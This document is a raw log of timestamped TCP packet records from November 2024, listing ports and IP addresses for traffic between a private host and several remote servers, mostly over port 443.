Nov 17, 2024 10:07:22.888894081 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.923472881 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.929115057 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.929306984 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.929372072 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.929382086 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.929579973 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.929630995 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.929639101 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.929898977 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.929949999 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.929959059 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.930315018 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.930360079 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.930368900 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.933964014 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.934029102 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.934036970 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.934143066 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.934195042 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.934202909 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.937038898 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.938041925 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.938056946 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.938599110 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:22.938604116 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:22.942667961 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.942728996 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.942748070 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.945678949 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.945765018 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.945837021 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.945853949 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.945909977 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.951659918 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.957634926 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.957717896 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.957720041 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.957751036 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.957801104 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.963711023 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.963865042 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.963943005 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.963958979 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.969856024 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.969913960 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.969928980 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.975785971 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.975878000 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.975892067 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.981703043 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.981760979 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.981776953 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.987627983 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.987678051 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.987689018 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.993792057 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.993839979 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.993849039 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.999633074 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:22.999721050 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:22.999730110 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.005604982 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.005651951 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.005661011 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.016880035 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.017091990 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.017153978 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.017214060 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.017230034 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.017241955 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.017247915 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.020392895 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.020427942 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.020673990 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.020817995 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.020829916 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.038727045 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.039117098 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.039135933 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.039561033 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.039567947 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.047887087 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.047919989 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.047952890 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.047979116 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.047986984 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.047998905 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048028946 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.048047066 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048058033 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.048075914 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048131943 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.048245907 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048309088 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048456907 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048475981 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.048491955 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048542023 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048571110 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048584938 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.048599958 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.048630953 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.051490068 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.051548004 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.051564932 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.056862116 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.056952000 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.056967020 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.062201977 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.062258005 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.062272072 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.063308954 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.063796043 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.063844919 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.063891888 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.063910007 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.063924074 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.063941002 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.065592051 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.065702915 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.065721035 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.066792011 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.066858053 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.066946030 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.067116976 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.067147017 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.068891048 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.068948984 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.068965912 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.071938992 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.071994066 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.072009087 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.075129032 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.075254917 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.075270891 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.078197956 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.078366041 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.078375101 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.081399918 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.081429005 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.081471920 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.081484079 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.081542969 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.081628084 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.081665993 CET	443	49763	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:23.081748009 CET	49763	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:23.170634031 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.170792103 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.170845985 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.180986881 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.181000948 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.181057930 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.181063890 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.184827089 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.184870005 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.184936047 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.185086012 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.185123920 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.524665117 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.525165081 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.525181055 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.525713921 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.525718927 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.608814001 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.609366894 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.609397888 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.609827042 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.609836102 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.655514956 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.655567884 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.655642033 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.655853033 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.655864000 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.655875921 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.655889988 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.658871889 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.658909082 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.659002066 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.659212112 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.659231901 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.734123945 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.734447002 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.734539986 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.734586000 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.734601974 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.734630108 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.734637022 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.737791061 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.737823963 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.738002062 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.738168955 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.738182068 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.758646965 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.759084940 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.759094000 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.759517908 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.759522915 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.807863951 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.808412075 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.808473110 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.808856964 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.808875084 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.889719009 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.889821053 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.889940977 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.890089035 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.890089035 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.890114069 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.890127897 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.892735004 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.892771959 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.892879009 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.892998934 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.893009901 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.930282116 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.930716038 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.930740118 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.931133032 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.931139946 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.937175989 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.937333107 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.937434912 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.937470913 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.937470913 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.937488079 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.937500954 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.940380096 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.940443993 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:23.940619946 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.940799952 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:23.940823078 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.062766075 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.062933922 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.062993050 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.063164949 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.063186884 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.063199043 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.063205004 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.066252947 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.066287994 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.066443920 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.066948891 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.066963911 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.385688066 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.386260033 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.386281013 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.386698008 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.386706114 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.473783016 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.477772951 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.477797031 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.478375912 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.478380919 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.604876041 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.605030060 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.605102062 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.605340958 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.605353117 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.605360985 CET	49781	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.605365038 CET	443	49781	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.608304024 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.608392954 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.608510017 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.608663082 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.608700037 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.626025915 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.629591942 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.629606962 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.630182028 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.630187035 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.632174969 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.632275105 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.632352114 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.632536888 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.632558107 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.632571936 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.632580042 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.635514021 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.635550022 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.635631084 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.635974884 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.635987997 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.682852983 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.683357954 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.683379889 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.683963060 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.683974028 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.754569054 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:24.754597902 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:24.754890919 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:24.755072117 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:24.755089045 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:24.762126923 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.762278080 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.762361050 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.762628078 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.762646914 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.762658119 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.762664080 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.765825987 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.765867949 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.765953064 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.766246080 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.766283035 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.795784950 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.796345949 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.796358109 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.796952009 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.796957970 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.814429045 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.814574003 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.814668894 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.814857006 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.814868927 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.814893961 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.814899921 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.817657948 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.817693949 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.817837954 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.817970037 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.817982912 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.925065994 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.925225019 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.925358057 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.925606012 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.925606012 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.925627947 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.925633907 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.928422928 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.928462029 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.928559065 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.928709030 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:24.928728104 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:24.936393976 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:24.937212944 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:25.346832991 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.367753983 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.367784977 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.368422985 CET	49786	443	192.168.2.6	13.107.246.45
